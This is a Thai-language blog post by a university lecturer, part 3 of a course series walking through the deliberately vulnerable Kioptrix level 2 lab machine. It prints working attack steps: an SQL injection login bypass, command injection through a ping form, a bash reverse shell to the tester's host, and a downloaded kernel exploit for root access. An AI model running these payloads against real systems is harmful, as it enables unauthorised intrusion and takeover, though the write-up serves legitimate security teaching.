Penetration testing lab — Kioptrix level 2 [ตอนที่ 3]

Pongsarun Boonyopakorn
4 min readNov 26, 2020

--

บทความนี้เป็นการทดสอบการทำ Penetration testing เพื่อใช้ทดสอบการเจาะระบบสำหรับคนที่สนใจทางด้านของการเจาะระบบ และ เพื่อใช้ประกอบการเรียนการสอนวิชา Ethical Hacking for Cyber Security ภาควิชาการสื่อสารข้อมูลและเครือข่าย คณะเทคโนโลยีสารสนเทศและนวัตกรรมดิจิทัล มจพ. โดยผมได้ลองนำ VM Series ของ Kioptrix ซึ่งมีทั้งหมด 5 VMs โดยตอนนี้เป็นตอนที่ 3 หากใครที่เพิ่งเข้ามาอ่าน รบกวนคลิกอ่านตอนที่ 1 ก่อนเพื่อความเข้าใจและต่อเนื่องครับ

Series นี้ตอนอื่นๆ
Penetration testing lab — Kioptrix level 1 [ตอนที่ 1]
Penetration testing lab — Kioptrix level 1 [ตอนที่ 2]
Penetration testing lab — Kioptrix level 2 [ตอนที่ 3]
Penetration testing lab — Kioptrix level 3 [ตอนที่ 4]
Penetration testing lab — Kioptrix level 3 [ตอนที่ 5]
Penetration testing lab — Kioptrix level 4 [ตอนที่ 6]
Penetration testing lab — Kioptrix level 5 [ตอนที่ 7]

ดาวน์โหลด Kiptrix VM

เราเดินทางมาถึงตอนที่ 3 กันแล้วครับ โดยในบทความนี้เป็นการทำ Penetration testing ในชุด Kiptrix Level 2 ซึ่งมีเทคนิคและความแตกต่างในการเข้าทำจาก Level 1 อยู่เหมือนกัน จะเป็นอย่างไรลองไปดูกันครับ

ขั้นตอนที่ 1 การทำ Enumeration

แน่นอน!! เราคงหลีกเลี่ยงไม่ได้ในการทำ Pentest อันดับแรกคือการทำ enumeration เพื่อให้ได้มาซึ่งข้อมูลต่างๆ ของเครื่องเป้าหมาย อันดับแรกผมลองสแกน network ดูก่อนว่ามี IP address อะไรอยู่บ้าง ด้วยคำสั่ง

sudo netdiscover -i eth0

หลังจากที่สแกนหาเครื่องที่ active อยู่ในเครือข่ายด้วยคำสั่งข้างต้นแล้ว จะพบว่าเครื่องเป้าหมายอยู่ที่ IP 172.30.137.104

ต่อมาเราลองใช้ nmap เพื่อดูว่าเครื่องเป้าหมายได้มีการเปิด port และ service อะไรไว้บ้าง ด้วยคำสั่ง

nmap -sS -A -n 172.30.137.104

จากรูปด้านบนเราจะเห็นว่ามี port ที่เปิดอยู่หลายตัวเหมือนกันคือ TCP/22 (SSH), TCP/80, และ TCP/443 (HTTP/HTTPS) แต่พอเลื่อนลงมาเรื่อยๆ เราจะพบอีก port ที่น่าสนใจคือ TCP/3306 (MySQL) ดังนั้นเราจึงสันนิษฐานว่าเครื่องนี้น่าจะเป็น web server และมีการ connect database เพื่อไว้ใช้เป็น backend อยู่เป็นแน่ ไม่รอช้าเลยลองทำการเปิดเว็บเบราเซอร์และเรียกไปที่ IP 172.30.137.104 ดูก็ได้ผลลัพธ์ตามรูปด้านล่าง

จากรูปข้างบนเมื่อเปิดเว็บขึ้นมาเราเห็นหน้า login form ของตัวเว็บเพื่อให้เป็นการง่ายสุดเลยลองทำการ SQL Injection ดูเผื่อฟลุคเข้าได้ ซึ่งโดยหลักการของ login form เว็บนี้น่าจะมีการเขียน sql statement เช็ค user, password ไว้ประมาณนี้

SELECT * FROM users WHERE username='' AND password=''

เอาง่าย ของการทำ sql injection คือการแก้ statement ดังนี้

admin' or 1=1 #

เมื่อเอามารวมกับชุดคำสั่งอันแรกเราจะได้ statement เป็นแบบนี้

SELECT * FROM users WHERE username='admin' or 1=1 #' AND password=''

ด้านหลังเครื่องหมาย # คือ comment ก็จะถูกมองข้ามไปโดยอัตโนมัติ

โชคดี login ผ่าน เมื่อเข้ามาได้ก็จะเจอหน้าเว็บอีก 1 หน้าซึ่งหน้านี้มี form input เพื่อไว้ใช้รอรับคำสั่ง ping ไปที่เครื่องใดๆ เดาแบบไม่ต้องสืบต่อว่ามีการรับ command injection ได้อย่างแน่นอน

ทดสอบ command แรก โดยการ ping ไปที่เครื่องตัวเองได้ผลลัพธ์ตามในรูปด้านล่าง

จากนั้นลองเพิ่มคำสั่ง command injection เข้าไปดูว่าสามารถใช้งานได้หรือไม่

172.30.137.104; id

172.30.137.104; whoami

มาถึงตรงนี้เราเห็นแล้วว่าเว็บนี้มีช่องโหว่อยู่คือเราสามารถทำ command injection ได้ ดังนั้นจึงมาถึงขึ้นตอนต่อไปคือการทำ Exploitation

ขั้นตอนที่ 2 การทำ Exploitation

จากขั้นตอน enumeration ด้านบน ขั้นตอนนี้เราจะทำการ exploitation เพื่อให้ได้มาซึ่ง shell command ของเครื่องเป้าหมายก่อน โดยจะทำการเปิด Netcat listener ไว้ที่ port หมายเลข 443 ที่เครื่อง kali linux ของเรา

เมื่อเราเปิด connection ไว้รอที่เครื่องเราแล้วให้เรากลับไปที่หน้าเว็บของเครื่องเป้าหมายแล้วใช้คำสั่ง command injection ด้านล่าง

127.0.0.1; bash -i >& /dev/tcp/172.30.137.109/443 0>&1

โดย IP 172.30.137.109 เป็น IP address ของเครื่อง kali linux ของเรา หลังจากใส่คำสั่งด้านบนและกดปุ่ม submit ให้กลับไปที่เครื่อง kali linux จะเห็นว่ามีการ connect กับเครื่องเป้าหมายและได้ shell command เรียบร้อยแล้ว

ตรวจสอบสิทธิ์เขาเราที่ได้จากการ exploit ด้วยคำสั่ง whoami จะเห็นว่าเราเป็น user ที่ชื่อว่า apache ดังนั้นเราต้องทำการยกระดับสิทธิ์ให้เป็น root หรือที่เรียกว่า privilege escalation นั่นเอง

ขั้นตอนที่ 3 การทำ Privilege escalation

Privilege escalation คือการยกระดับสิทธิ์เพื่อให้ hacker สามารถได้รับสิทธิ์เป็น root ของระบบได้ ซึ่งมีวิธีการมากมายอธิบายเป็นสอง สามวันก็ไม่หมด ดังนั้น เอาแบบง่ายก่อนคือเราต้องรู้ให้ได้ก่อนว่าเครื่องเป้าหมายนี้ทำงานอยู่บน OS อะไร เพราะฉะนั้นเริ่มการค้นหาตามในรูปด้านล่าง

จากข้อมูลที่ได้เราลองไปค้นหาช่องโหว่ใน google ดู เราจะพบว่ามีช่องโหว่อยู่ที่ “Linux kernel 2.6.9–55” พอดี

CVE-2009–2698, Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) — ‘ip_append_data()’ Ring0 Privilege Escalation (1)

ให้ทำการ เปิด tab ของ terminal ขึ้นใหม่และ download โค้ด c ไฟล์มาเก็บไว้ที่เครื่อง kali lnux ของเรา

จากนั้น mv หรือ cp ก็ได้ไปที่ /var/www/html ซึ่งเป็นเว็บรูทของเครื่อง kali linux และสั่ง service apache2 start เพื่อให้เครื่องของเราเป็นเว็บ server ซึ่งในขั้นตอนนี้มีการเปลี่ยนชื่อเพิ่มนามสกุลไฟล์จาก 9542 ไปเป็น 9542.c ด้วยเพื่อให ้gcc สามารถคอมไพล์ได้

ขั้นตอนสุดท้าย กลับไปที่ tab shell ของเครื่องเป้าหมายแล้วทำการดาวน์โหลดไฟล์ 9542.c ไปที่เครื่องเป้าหมายและใช้ gcc คอมไพล์จากนั้นลองเรียกไฟล์ที่ผ่านการคอมไพล์แล้วจะเห็นว่าตอนนี้เราเป็น root ของเครื่องเรียบร้อยแล้ว ถือว่าเป็นอันจบด่านนี้ครับ

มาถึงตอนนี้เราสามารถทำการเจาะระบบเครื่องเป้าหมายได้เป็นที่เรียบร้อยแล้ว ผ่านช่องโหว่ของ kernel version ซึ่งนอกจากนี้ยังมีอีกหลายวิธีในการเจาะระบบเครื่องนี้

ปล.เป็นเพียงแค่ Lab ในการทดลองทำ Penetration testing เท่านั้นไม่สามารถใช้งานได้กับระบบจริง เนื่องจาก Lab นี้มีการจงใจที่จะเปิดช่องโหว่เอาไว้ให้เราได้ทำการทดลองศึกษา

สุดท้ายนี้ หากบทความนี้มีประโยชน์ รบกวนกด ปรบมือ หรือ กด share และกด follow ด้วยครับ เพื่อที่ผมจะได้มีกำลังใจในการทำตอนต่อ ๆ ไป สำหรับตอนที่ 3 นี้ขอกล่าวคำว่าสวัสดีและขอให้สนุกกับการทดสอบระบบครับ

--

--

Pongsarun Boonyopakorn

Lecturer at the university — KMUTNB who loves computer networking, cybersecurity, and web technology.